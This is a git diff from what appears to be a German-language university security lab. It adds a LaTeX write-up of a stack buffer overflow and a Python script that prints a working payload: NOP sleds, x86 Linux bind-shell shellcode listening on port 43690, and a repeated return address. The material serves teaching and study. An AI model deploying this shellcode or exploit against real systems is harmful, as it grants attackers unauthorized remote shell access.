diff --git a/Lab02/documentation/images/shell/02-overflow.png b/Lab02/documentation/images/shell/02-overflow.png
new file mode 100755
index 0000000..78ace7e
Binary files /dev/null and b/Lab02/documentation/images/shell/02-overflow.png differ
diff --git a/Lab02/documentation/images/shell/03-stack.png b/Lab02/documentation/images/shell/03-stack.png
new file mode 100755
index 0000000..b8dec45
Binary files /dev/null and b/Lab02/documentation/images/shell/03-stack.png differ
diff --git a/Lab02/documentation/images/shell/03-success.png b/Lab02/documentation/images/shell/03-success.png
new file mode 100755
index 0000000..2780e8e
Binary files /dev/null and b/Lab02/documentation/images/shell/03-success.png differ
diff --git a/Lab02/documentation/images/shell/04-ls-la.png b/Lab02/documentation/images/shell/04-ls-la.png
new file mode 100755
index 0000000..f6ba91d
Binary files /dev/null and b/Lab02/documentation/images/shell/04-ls-la.png differ
diff --git a/Lab02/documentation/images/shell/exploit.py b/Lab02/documentation/images/shell/exploit.py
new file mode 100755
index 0000000..d6bd701
--- /dev/null
+++ b/Lab02/documentation/images/shell/exploit.py
@@ -0,0 +1,12 @@
+import struct
+
+print("\x90"*256+
+"\x31\xc0\x31\xdb\x99\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66"+
+"\xcd\x80\x89\xc6\x52\x66\x68\xaa\xaa\x66\x6a\x02\x89\xe1\x6a\x10"+
+"\x51\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x52\x56\x89\xe1\xb3\x04"+
+"\xb0\x66\xcd\x80\x52\x52\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89"+
+"\xc3\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80\x75\xf8\x52\x68\x2f"+
+"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x52\x89\xe1\xb0\x0b"+
+"\xcd\x80\x31\xc0\xb0\x01\xb3\x08\xcd\x80"+
+"\x90"*150+
+"\xe0\xee\xff\xbf"*8)
diff --git a/Lab02/documentation/shell/shell.tex b/Lab02/documentation/shell/shell.tex
index ae0920b..390f0b6 100644
--- a/Lab02/documentation/shell/shell.tex
+++ b/Lab02/documentation/shell/shell.tex
@@ -18,3 +18,51 @@ Nun kann man auf dem Port 43690 eine Verbindung aufbauen.
         \label{fig:Erster Test}
     \end{center}
 \end{figure}
+
+\subsection{Shell Execution}
+
+Bei der Analyse mit gdb und einem ersten Testcode entsteht folgender Stack:
+
+\begin{figure}[H]
+    \begin{center}
+        \includegraphics[width=0.9\textwidth]{shell/02-overflow}
+        \caption{Erster Stack}
+        \label{fig:Erster Stack}
+    \end{center}
+\end{figure}
+
+Darin sind beide NOP sleds zu erkennen. Außerdem ist der shell code dazwischen zu erkennen.
+
+Die nächste Vorgehensweise wäre, die beiden Sleds mit einer richtigen Größe zu versehen, damit der exploit funktioniert.
+
+Das ausführen der exploit mit einem größeren NOP Sled Zeigt uns nun die ungefähre Position in der wir springen sollten. Damit kann die \verb|exploit.py| schonmal angepasst werden, damit der return stimmt.
+
+\begin{figure}[H]
+    \begin{center}
+        \includegraphics[width=0.9\textwidth]{shell/03-stack}
+        \caption{Position in dem der NOP-Sled liegt}
+        \label{fig:Position in dem der NOP-Sled liegt}
+    \end{center}
+\end{figure}
+
+Zusätzlich muss damit auch der EBP getroffen werden. Der shell-code ist 106 byte lang. Der NOP Sled wurde auf 256 Byte gesetzt. Somit sollte der zweite NOP Sled auf 150 gesetzt werden damit die 512 vom buffer voll sind. Danach noch 8 mal die return addresse schreiben und fertig.
+
+\begin{figure}[H]
+    \begin{center}
+        \includegraphics[width=0.9\textwidth]{shell/03-success}
+        \caption{Shell code wurde ausgeführt}
+        \label{fig:Shell code wurde ausgeführt}
+    \end{center}
+\end{figure}
+\begin{figure}[H]
+    \begin{center}
+        \includegraphics[width=0.9\textwidth]{shell/04-ls-la}
+        \caption{ls-la ließt das Verzeichnis}
+        \label{fig:ls-la ließt das Verzeichnis}
+    \end{center}
+\end{figure}
+
+\subsection{Funktionierende exploit.py}
+
+\lstinputlisting[language=python] 
+{images/shell/exploit.py}